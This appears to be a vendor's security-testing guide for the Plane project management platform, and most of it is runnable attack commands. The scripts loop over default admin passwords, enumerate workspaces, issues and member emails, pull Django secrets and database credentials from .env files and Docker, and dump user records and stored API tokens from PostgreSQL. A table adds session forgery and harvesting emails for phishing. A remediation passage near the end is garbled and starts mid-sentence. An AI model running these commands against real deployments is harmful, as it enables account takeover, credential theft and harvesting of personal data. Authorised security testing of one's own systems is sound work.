Plane is a widely deployed open-source project management platform (Linear/Jira alternative) built with Django REST Framework and Next.js, used by engineering teams to track issues, manage sprints, and coordinate development work — it contains all project issues, comments, attachments, and team member data. Key assessment areas: SECRET_KEY in .env is the Django secret key used for session signing and CSRF token generation; DATABASE_URL contains the PostgreSQL connection string; the Plane REST API allows enumeration of all workspaces, projects, and issues accessible to the authenticated user; API tokens are stored in the database; and cross-workspace access controls should be verified for multi-tenant deployments. This guide covers systematic Plane security assessment.
# Plane — authentication and API token testing
PLANE_URL="https://plane.example.com"
# Plane login — email/password authentication
AUTH_RESPONSE=$(curl -s -X POST "${PLANE_URL}/auth/sign-in/" \
-H "Content-Type: application/json" \
-d '{"email":"admin@example.com","password":"admin"}' 2>/dev/null)
TOKEN=$(echo "$AUTH_RESPONSE" | python3 -c "
import json,sys
d=json.load(sys.stdin)
if 'access_token' in d:
print(d['access_token'])
elif 'token' in d:
print(d['token'])
else:
print(f'FAIL: {list(d.keys())}')
" 2>/dev/null)
echo "Token: ${TOKEN}"
# Plane API token (personal access token) — generated in profile settings
API_TOKEN="your-plane-api-token"
# Verify token
curl -s "${PLANE_URL}/api/v1/users/me/" \
-H "X-Api-Key: ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'User: {d.get(\"display_name\")} ({d.get(\"email\")})')
print(f'ID: {d.get(\"id\")} role={d.get(\"role\")}')
" 2>/dev/null
# Try common default passwords
for PASS in "admin" "plane" "password" "changeme" "123456"; do
STATUS=$(curl -s -X POST "${PLANE_URL}/auth/sign-in/" \
-H "Content-Type: application/json" \
-d "{\"email\":\"admin@example.com\",\"password\":\"${PASS}\"}" 2>/dev/null | \
python3 -c "import json,sys; d=json.load(sys.stdin); print('OK' if 'access_token' in d or 'token' in d else 'FAIL')" 2>/dev/null)
echo "admin@example.com/${PASS}: ${STATUS}"
done
# Plane REST API — workspace, project, and issue enumeration
PLANE_URL="https://plane.example.com"
API_TOKEN="your-plane-api-token"
# List all workspaces
curl -s "${PLANE_URL}/api/v1/workspaces/" \
-H "X-Api-Key: ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
workspaces = d.get('results',[]) if isinstance(d,dict) else d
print(f'Workspaces: {len(workspaces)}')
for w in workspaces:
print(f' [{w.get(\"id\")}] {w.get(\"name\")} slug={w.get(\"slug\")} members={w.get(\"total_members\")}')
" 2>/dev/null
WORKSPACE_SLUG="your-workspace-slug"
# List all projects in workspace
curl -s "${PLANE_URL}/api/v1/workspaces/${WORKSPACE_SLUG}/projects/" \
-H "X-Api-Key: ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
projects = d.get('results',[]) if isinstance(d,dict) else d
print(f'Projects: {len(projects)}')
for p in projects:
print(f' [{p.get(\"id\")}] {p.get(\"name\")} network={p.get(\"network\")} issues={p.get(\"total_issues\")}')
" 2>/dev/null
PROJECT_ID="your-project-id"
# List all issues in a project — task content and descriptions
curl -s "${PLANE_URL}/api/v1/workspaces/${WORKSPACE_SLUG}/projects/${PROJECT_ID}/issues/?per_page=100" \
-H "X-Api-Key: ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
issues = d.get('results',[]) if isinstance(d,dict) else d
total = d.get('total_count',len(issues)) if isinstance(d,dict) else len(issues)
print(f'Issues: {total} total, showing {len(issues)}')
for i in issues[:10]:
desc = str(i.get('description_html',''))[:80].replace('<','').replace('>','')
print(f' [{i.get(\"sequence_id\")}] {i.get(\"name\")} state={i.get(\"state_detail\",{}).get(\"name\")}')
if desc:
print(f' {desc}')
" 2>/dev/null
# List workspace members — all team member emails
curl -s "${PLANE_URL}/api/v1/workspaces/${WORKSPACE_SLUG}/members/" \
-H "X-Api-Key: ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
members = d.get('results',[]) if isinstance(d,dict) else d
print(f'Members: {len(members)}')
for m in members[:10]:
u = m.get('member',{})
print(f' [{u.get(\"id\")}] {u.get(\"display_name\")} email={u.get(\"email\")} role={m.get(\"role\")}')
" 2>/dev/null
# Plane .env credential extraction and database access
# .env file — Django secrets and database credentials
cat /app/.env 2>/dev/null | grep -E "SECRET_KEY|DATABASE_URL|REDIS_URL|AWS|STORAGE|EMAIL"
# SECRET_KEY — Django secret key (session signing, CSRF tokens, signed cookies)
# DATABASE_URL — PostgreSQL connection string with password
# REDIS_URL — Redis connection (may include auth password)
# Docker deployment
docker inspect plane-api 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
for e in c.get('Config',{}).get('Env',[]):
if any(k in e for k in ['SECRET','DATABASE','REDIS','AWS','SMTP','PASSWORD']):
print(e)
" 2>/dev/null
# PostgreSQL direct access — users and API tokens
psql "$DATABASE_URL" 2>/dev/null << 'EOF'
-- All Plane users with email and avatar
SELECT id, email, display_name, first_name, last_name,
is_superuser, is_active, date_joined, last_login
FROM users_user
ORDER BY is_superuser DESC, date_joined DESC
LIMIT 20;
EOF
# API tokens stored in database
psql "$DATABASE_URL" 2>/dev/null << 'EOF'
SELECT at.id, at.token, at."userId", u.email,
at.label, at."createdAt", at."updatedAt"
FROM api_tokens at
JOIN users_user u ON at."userId" = u.id
ORDER BY at."updatedAt" DESC
LIMIT 20;
EOF
# token column — Plane API token value
# All workspaces and their configurations
psql "$DATABASE_URL" 2>/dev/null << 'EOF'
SELECT id, name, slug, created_at,
"totalMembers", "totalProjects"
FROM workspaces_workspace
LIMIT 20;
EOF
python -c "import secrets; print(secrets.token_hex(50))"; restrict .env to 600 owned by the Plane application user; use Docker secrets or a dedicated secrets manager in production environments rather than .env files mounted into containers; rotate SECRET_KEY if exposed (invalidates all active sessions)| Security Test | Method | Risk |
|---|---|---|
| Django SECRET_KEY extraction and session forgery | Read .env SECRET_KEY — Django session signing key; forge valid Django session cookies as any Plane user bypassing password authentication entirely | Critical |
| API workspace and issue enumeration | GET /api/v1/workspaces — all workspaces; GET /api/v1/workspaces/slug/projects/id/issues — all issues with descriptions; complete view of development priorities, bug reports, and internal project discussions | High |
| DATABASE_URL credential extraction and PostgreSQL access | Read .env DATABASE_URL — full connection string with password; direct access to all Plane data including users, issues, comments, and API tokens | Critical |
| API token extraction from database | PostgreSQL SELECT from api_tokens — token values for all active API keys; enables API access as any user without knowing their password | Critical |
| Member email harvesting | GET /api/v1/workspaces/slug/members — all workspace members with emails; enables targeted phishing and credential attacks against engineering team members | High |
Ironimo tests Plane deployments for Django SECRET_KEY extraction and session token forgery, REST API workspace/project/issue enumeration, member email harvesting, DATABASE_URL PostgreSQL credential extraction, api_tokens table value extraction, admin credential exploitation, Docker environment variable credential exposure, workspace network visibility misconfiguration, cross-workspace access isolation testing, and Redis network exposure testing.
Start free scan